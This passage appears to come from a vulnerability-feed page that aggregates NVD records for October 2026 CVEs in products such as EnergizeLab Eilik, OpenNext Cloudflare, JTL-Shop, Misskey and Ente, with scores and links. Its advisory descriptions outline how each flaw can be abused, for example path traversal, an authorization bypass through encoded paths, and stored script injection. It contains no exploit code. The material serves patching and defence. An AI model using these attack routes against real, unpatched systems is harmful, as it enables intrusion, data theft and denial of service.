The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication. An unauthenticated remote attacker can obtain a valid device token for any serial number and act as that device against the cloud services.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105034).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105034&date=2026-10-25).
Sources:
NVD CVE-2026-105034: https://nvd.nist.gov/vuln/detail/CVE-2026-105034
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105034&date=2026-10-25
The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication. An unauthenticated remote attacker can obtain a valid device token for any serial number and act as that device against the cloud services.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled.
https://kevwire.com/record/CVE-2026-105033
The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled. (Oct 15, 2026).
The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled. An attacker with network access to the device can log in as root and take full control of it.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105033).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105033&date=2026-10-25).
Sources:
NVD CVE-2026-105033: https://nvd.nist.gov/vuln/detail/CVE-2026-105033
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105033&date=2026-10-25
The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled. An attacker with network access to the device can log in as root and take full control of it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain...
https://kevwire.com/record/CVE-2026-105032
The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain... (Oct 15, 2026).
The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain uploaded file paths. An unauthenticated remote attacker can use path traversal to write arbitrary files, and thereby tamper with AI skill files used by Eilik and EilikO robots.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105032).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105032&date=2026-10-25).
Sources:
NVD CVE-2026-105032: https://nvd.nist.gov/vuln/detail/CVE-2026-105032
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105032&date=2026-10-25
The EnergizeLab Eilik and EilikO AI skill upload endpoint, served by the FastAPI AI inference and profiling services, does not require authentication and does not constrain uploaded file paths. An unauthenticated remote attacker can use path traversal to write arbitrary files, and thereby tamper with AI skill files used by Eilik and EilikO robots.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.
https://kevwire.com/record/CVE-2026-102693
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. (Oct 16, 2026).
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.04, the ATWINC15x0 driver's _atwinc15x0_sta_set_current_ssid function uses strcpy to copy an SSID without checking the destination size. When MODULE_ATWINC15X0_DYNAMIC_CONNECT is enabled, a nearby attacker can advertise a malformed or oversized SSID that is processed during Wi-Fi scanning, causing memory corruption and potentially a hard fault, denial of service, or code execution. This issue is fixed in version 2026.04.
CVSS 9.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102693).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102693&date=2026-10-25).
Sources:
NVD CVE-2026-102693: https://nvd.nist.gov/vuln/detail/CVE-2026-102693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102693&date=2026-10-25
RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.04, the ATWINC15x0 driver's _atwinc15x0_sta_set_current_ssid function uses strcpy to copy an SSID without checking the destination size. When MODULE_ATWINC15X0_DYNAMIC_CONNECT is enabled, a nearby attacker can advertise a malformed or oversized SSID that is processed during Wi-Fi scanning, causing memory corruption and potentially a hard fault, denial of service, or code execution. This issue is fixed in version 2026.04.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenNext Cloudflare is an open Next.js adapter for Cloudflare.
https://kevwire.com/record/CVE-2026-100409
OpenNext Cloudflare is an open Next.js adapter for Cloudflare. (Oct 15, 2026).
OpenNext Cloudflare is an open Next.js adapter for Cloudflare. From 0.3.0 until 1.20.2, applications that enable enableCacheInterception, rely on middleware for access control, and have a matching cached protected route process encoded pathnames inconsistently between middleware matching and cache lookup. An unauthenticated attacker can use a percent-encoded pathname that does not match authorization middleware but decodes to the cache key of a protected route, causing cached content to be returned without authorization. Malformed encodings can also be partially decoded, allowing cache lookup to continue with a pathname that middleware did not evaluate consistently. This issue is fixed in version 1.20.2.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100409).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100409&date=2026-10-25).
Sources:
NVD CVE-2026-100409: https://nvd.nist.gov/vuln/detail/CVE-2026-100409
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100409&date=2026-10-25
OpenNext Cloudflare is an open Next.js adapter for Cloudflare. From 0.3.0 until 1.20.2, applications that enable enableCacheInterception, rely on middleware for access control, and have a matching cached protected route process encoded pathnames inconsistently between middleware matching and cache lookup. An unauthenticated attacker can use a percent-encoded pathname that does not match authorization middleware but decodes to the cache key of a protected route, causing cached content to be returned without authorization. Malformed encodings can also be partially decoded, allowing cache lookup to continue with a pathname that middleware did not evaluate consistently. This issue is fixed in version 1.20.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying.
https://kevwire.com/record/CVE-2026-101021
MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying. (Oct 16, 2026).
MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying. Crafted multipart input can force excessive boundary comparisons and repeated copying.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101021).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101021&date=2026-10-25).
Sources:
NVD CVE-2026-101021: https://nvd.nist.gov/vuln/detail/CVE-2026-101021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101021&date=2026-10-25
MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying. Crafted multipart input can force excessive boundary comparisons and repeated copying.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### cpp-httplib is a C++ header-only HTTP/HTTPS library.
https://kevwire.com/record/CVE-2026-102944
cpp-httplib is a C++ header-only HTTP/HTTPS library. (Oct 14, 2026).
cpp-httplib is a C++ header-only HTTP/HTTPS library. Prior to 0.51.0, create_redirect_client() removes Host, Proxy-Authorization, and Authorization headers when following a cross-origin 301, 302, 307, or 308 redirect but leaves Cookie headers attached. detail::redirect() copies the request for those redirect codes, so cookies supplied directly or through default_headers_ are sent to the redirect target. An attacker who controls a redirect response, or a network position for a non-HTTPS origin, can receive session cookies intended for the original origin. A 303 redirect is not affected because that path clears all request headers. This issue is fixed in version 0.51.0.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102944).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102944&date=2026-10-25).
Sources:
NVD CVE-2026-102944: https://nvd.nist.gov/vuln/detail/CVE-2026-102944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102944&date=2026-10-25
cpp-httplib is a C++ header-only HTTP/HTTPS library. Prior to 0.51.0, create_redirect_client() removes Host, Proxy-Authorization, and Authorization headers when following a cross-origin 301, 302, 307, or 308 redirect but leaves Cookie headers attached. detail::redirect() copies the request for those redirect codes, so cookies supplied directly or through default_headers_ are sent to the redirect target. An attacker who controls a redirect response, or a network position for a non-HTTPS origin, can receive session cookies intended for the original origin. A 303 redirect is not affected because that path clears all request headers. This issue is fixed in version 0.51.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dio is a powerful HTTP client for Dart and Flutter.
https://kevwire.com/record/CVE-2026-103030
Dio is a powerful HTTP client for Dart and Flutter. (Oct 13, 2026).
Dio is a powerful HTTP client for Dart and Flutter. From 1.0.0 until 2.8.0, dio_http2_adapter follows redirects in Http2Adapter._fetch by copying the original RequestOptions.headers into the redirected HTTP/2 request without comparing the source and destination origins. A server contacted by an application can return a cross-origin Location redirect to a different-origin destination, which then receives preserved Authorization, Cookie, and Proxy-Authorization headers because RequestOptions.copyWith retains the full header map. The issue applies when applications use Http2Adapter for authenticated requests, and redirect following is enabled by default. This issue is fixed in version 2.8.0.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103030).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103030&date=2026-10-25).
Sources:
NVD CVE-2026-103030: https://nvd.nist.gov/vuln/detail/CVE-2026-103030
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103030&date=2026-10-25
Dio is a powerful HTTP client for Dart and Flutter. From 1.0.0 until 2.8.0, dio_http2_adapter follows redirects in Http2Adapter._fetch by copying the original RequestOptions.headers into the redirected HTTP/2 request without comparing the source and destination origins. A server contacted by an application can return a cross-origin Location redirect to a different-origin destination, which then receives preserved Authorization, Cookie, and Proxy-Authorization headers because RequestOptions.copyWith retains the full header map. The issue applies when applications use Http2Adapter for authenticated requests, and redirect following is enabled by default. This issue is fixed in version 2.8.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The public consent endpoint of JTL-Shop accepts arbitrary
consent names from unauthenticated visitors without validating
them against the configured consent items. These names are...
https://kevwire.com/record/CVE-2026-103904
The public consent endpoint of JTL-Shop accepts arbitrary
consent names from unauthenticated visitors without validating
them against the configured consent items. These names are... (Oct 14, 2026).
The public consent endpoint of JTL-Shop accepts arbitrary
consent names from unauthenticated visitors without validating
them against the configured consent items. These names are stored in the consent
statistics and rendered without output encoding in the administration
backend. An unauthenticated remote attacker can thereby inject script code that
is executed in the browser session of an administrator viewing the consent
statistics page, allowing actions to be performed with the administrator's
privileges.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103904).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103904&date=2026-10-25).
Sources:
NVD CVE-2026-103904: https://nvd.nist.gov/vuln/detail/CVE-2026-103904
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103904&date=2026-10-25
The public consent endpoint of JTL-Shop accepts arbitrary
consent names from unauthenticated visitors without validating
them against the configured consent items. These names are stored in the consent
statistics and rendered without output encoding in the administration
backend. An unauthenticated remote attacker can thereby inject script code that
is executed in the browser session of an administrator viewing the consent
statistics page, allowing actions to be performed with the administrator's
privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The authentication middleware of the JTL-Shop
administration backend processes the plugin safe mode toggle on the admin
logout route before checking whether the requesting user is...
https://kevwire.com/record/CVE-2026-103905
The authentication middleware of the JTL-Shop
administration backend processes the plugin safe mode toggle on the admin
logout route before checking whether the requesting user is... (Oct 14, 2026).
The authentication middleware of the JTL-Shop
administration backend processes the plugin safe mode toggle on the admin
logout route before checking whether the requesting user is
authenticated. An unauthenticated remote attacker can therefore switch the shop's
plugin safe mode on and off, which deactivates all installed plugins and their
functionality, such as payment and shipping integrations, resulting in a shop-wide
denial of service. The attack requires a single request and can be
automated against many installations.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103905).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103905&date=2026-10-25).
Sources:
NVD CVE-2026-103905: https://nvd.nist.gov/vuln/detail/CVE-2026-103905
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103905&date=2026-10-25
The authentication middleware of the JTL-Shop
administration backend processes the plugin safe mode toggle on the admin
logout route before checking whether the requesting user is
authenticated. An unauthenticated remote attacker can therefore switch the shop's
plugin safe mode on and off, which deactivates all installed plugins and their
functionality, such as payment and shipping integrations, resulting in a shop-wide
denial of service. The attack requires a single request and can be
automated against many installations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libp2p is a JavaScript implementation of the libp2p networking stack.
https://kevwire.com/record/CVE-2026-103936
libp2p is a JavaScript implementation of the libp2p networking stack. (Oct 15, 2026).
libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 6.0.28, the @libp2p/webrtc webRTCDirect() Node.js listener processes unauthenticated STUN Binding Requests before PeerId authentication, Noise, muxing, protocol negotiation, connection creation, or connection-manager admission. The listener in packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts forwards the packet-controlled request.ufrag into DirectRTCPeerConnection.setLocalDescription, where the value is reused as an ICE password without validating its required length and character set. A short credential causes node-datachannel or libdatachannel to raise an uncaught native invalid_argument and abort the process with SIGABRT, allowing a single remote UDP packet to deny service. The confirmed impact is process termination only, with no demonstrated memory corruption, code execution, browser impact, confidentiality impact, integrity impact, or connection-limit bypass. This issue is fixed in version 6.0.28.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103936).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103936&date=2026-10-25).
Sources:
NVD CVE-2026-103936: https://nvd.nist.gov/vuln/detail/CVE-2026-103936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103936&date=2026-10-25
libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 6.0.28, the @libp2p/webrtc webRTCDirect() Node.js listener processes unauthenticated STUN Binding Requests before PeerId authentication, Noise, muxing, protocol negotiation, connection creation, or connection-manager admission. The listener in packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts forwards the packet-controlled request.ufrag into DirectRTCPeerConnection.setLocalDescription, where the value is reused as an ICE password without validating its required length and character set. A short credential causes node-datachannel or libdatachannel to raise an uncaught native invalid_argument and abort the process with SIGABRT, allowing a single remote UDP packet to deny service. The confirmed impact is process termination only, with no demonstrated memory corruption, code execution, browser impact, confidentiality impact, integrity impact, or connection-limit bypass. This issue is fixed in version 6.0.28.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misskey is an open source, federated social media platform.
https://kevwire.com/record/CVE-2026-103937
Misskey is an open source, federated social media platform. (Oct 13, 2026).
Misskey is an open source, federated social media platform. From 13.0.0 until 2025.4.1 and from 2025.5.0 until 2026.7.0, cleanup processing may not execute during file uploads. Repeated uploads can exhaust storage or file descriptors and deny service regardless of whether federation is enabled. This issue is fixed in version 2026.7.0.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103937).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103937&date=2026-10-25).
Sources:
NVD CVE-2026-103937: https://nvd.nist.gov/vuln/detail/CVE-2026-103937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103937&date=2026-10-25
Misskey is an open source, federated social media platform. From 13.0.0 until 2025.4.1 and from 2025.5.0 until 2026.7.0, cleanup processing may not execute during file uploads. Repeated uploads can exhaust storage or file descriptors and deny service regardless of whether federation is enabled. This issue is fixed in version 2026.7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misskey is an open source, federated social media platform.
https://kevwire.com/record/CVE-2026-104816
Misskey is an open source, federated social media platform. (Oct 13, 2026).
Misskey is an open source, federated social media platform. From 12.0.0 until 2026.7.0, the RSS components display feed item links from configured feeds without verifying their URL schemes. Missing URL scheme verification allows an attacker who controls feed content to provide an unsafe-scheme link that causes script execution when a user clicks it in an RSS widget. This issue is fixed in version 2026.7.0.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104816).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104816&date=2026-10-25).
Sources:
NVD CVE-2026-104816: https://nvd.nist.gov/vuln/detail/CVE-2026-104816
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104816&date=2026-10-25
Misskey is an open source, federated social media platform. From 12.0.0 until 2026.7.0, the RSS components display feed item links from configured feeds without verifying their URL schemes. Missing URL scheme verification allows an attacker who controls feed content to provide an unsafe-scheme link that causes script execution when a user clicks it in an RSS widget. This issue is fixed in version 2026.7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misskey is an open source, federated social media platform.
https://kevwire.com/record/CVE-2026-104817
Misskey is an open source, federated social media platform. (Oct 13, 2026).
Misskey is an open source, federated social media platform. From 12.112.1 until 2026.7.0, the unauthenticated fetch-rss API lacks rate limiting and response-size restrictions and performs synchronous XML parsing. An attacker can trigger unbounded outbound HTTP requests and synchronous parsing, exhausting instance resources, amplifying requests toward third-party servers, or probing network-reachable services even when federation is disabled. This issue is fixed in version 2026.7.0.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104817).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104817&date=2026-10-25).
Sources:
NVD CVE-2026-104817: https://nvd.nist.gov/vuln/detail/CVE-2026-104817
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104817&date=2026-10-25
Misskey is an open source, federated social media platform. From 12.112.1 until 2026.7.0, the unauthenticated fetch-rss API lacks rate limiting and response-size restrictions and performs synchronous XML parsing. An attacker can trigger unbounded outbound HTTP requests and synchronous parsing, exhausting instance resources, amplifying requests toward third-party servers, or probing network-reachable services even when federation is disabled. This issue is fixed in version 2026.7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP.
https://kevwire.com/record/CVE-2026-104827
react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. (Oct 15, 2026).
react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 1.0.0 until 1.11.1, React\Http\Browser uses ClientRequestStream::handleData() to append response-header bytes to an internal buffer without enforcing a size limit. A remote server can send a valid status line and partial header, withhold the \r\n\r\n or \n\n header terminator, and continue streaming data so the buffer grows for the life of the connection. Applications that fetch attacker-controlled or attacker-influenced URLs, including URLs reached through redirects, can exhaust PHP memory_limit and crash the event-loop or worker process. Confidentiality and integrity are unaffected. This issue is fixed in version 1.11.1.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104827).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104827&date=2026-10-25).
Sources:
NVD CVE-2026-104827: https://nvd.nist.gov/vuln/detail/CVE-2026-104827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104827&date=2026-10-25
react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 1.0.0 until 1.11.1, React\Http\Browser uses ClientRequestStream::handleData() to append response-header bytes to an internal buffer without enforcing a size limit. A remote server can send a valid status line and partial header, withhold the \r\n\r\n or \n\n header terminator, and continue streaming data so the buffer grows for the life of the connection. Applications that fetch attacker-controlled or attacker-influenced URLs, including URLs reached through redirects, can exhaust PHP memory_limit and crash the event-loop or worker process. Confidentiality and integrity are unaffected. This issue is fixed in version 1.11.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ente provides end-to-end encrypted cloud services and security tools.
https://kevwire.com/record/CVE-2026-104875
Ente provides end-to-end encrypted cloud services and security tools. (Oct 13, 2026).
Ente provides end-to-end encrypted cloud services and security tools. Prior to server image 2026.07.09, the POST /emergency-contacts/approve-recovery endpoint authorized approval using a client-supplied userID and updated an emergency recovery session using only its client-supplied recovery-session UUID. An accepted emergency contact could submit the contact's own identifier, transition the victim's session from WAITING to READY, clear wait_till, retrieve recovery information, and continue account recovery before the owner-configured notice period expired. Exploitation of the approval bypass required the victim to have previously added and accepted the attacker as an emergency contact, and it did not create recovery rights for an arbitrary account. Separately, the same insufficiently scoped update pattern affected the reject and stop recovery transitions, allowing a user who knew another recovery-session UUID to potentially cancel a session to which the user was not a party. This issue is fixed in server image 2026.07.09.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104875).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104875&date=2026-10-25).
Sources:
NVD CVE-2026-104875: https://nvd.nist.gov/vuln/detail/CVE-2026-104875
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104875&date=2026-10-25
Ente provides end-to-end encrypted cloud services and security tools. Prior to server image 2026.07.09, the POST /emergency-contacts/approve-recovery endpoint authorized approval using a client-supplied userID and updated an emergency recovery session using only its client-supplied recovery-session UUID. An accepted emergency contact could submit the contact's own identifier, transition the victim's session from WAITING to READY, clear wait_till, retrieve recovery information, and continue account recovery before the owner-configured notice period expired. Exploitation of the approval bypass required the victim to have previously added and accepted the attacker as an emergency contact, and it did not create recovery rights for an arbitrary account. Separately, the same insufficiently scoped update pattern affected the reject and stop recovery transitions, allowing a user who knew another recovery-session UUID to potentially cancel a session to which the user was not a party. This issue is fixed in server image 2026.07.09.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MP4Parser does not adequately validate MP4 box sizes.
https://kevwire.com/record/CVE-2026-105273
MP4Parser does not adequately validate MP4 box sizes. (Oct 16, 2026).
MP4Parser does not adequately validate MP4 box sizes. A malformed box can cause parsing to make no forward progress and repeatedly process the same input.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105273).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105273&date=2026-10-25).
Sources:
NVD CVE-2026-105273: https://nvd.nist.gov/vuln/detail/CVE-2026-105273
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105273&date=2026-10-25
MP4Parser does not adequately validate MP4 box sizes. A malformed box can cause parsing to make no forward progress and repeatedly process the same input.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In the default configuration, the archive accepts DICOM associations from an unregistered calling AE.
https://kevwire.com/record/CVE-2026-105279
In the default configuration, the archive accepts DICOM associations from an unregistered calling AE. (Oct 16, 2026).
In the default configuration, the archive accepts DICOM associations from an unregistered calling AE. A remote peer can use C-FIND and C-GET to enumerate and retrieve patient information and medical images. It can also use C-STORE to file fabricated study content under an existing patient identity.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105279).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105279&date=2026-10-25).
Sources:
NVD CVE-2026-105279: https://nvd.nist.gov/vuln/detail/CVE-2026-105279
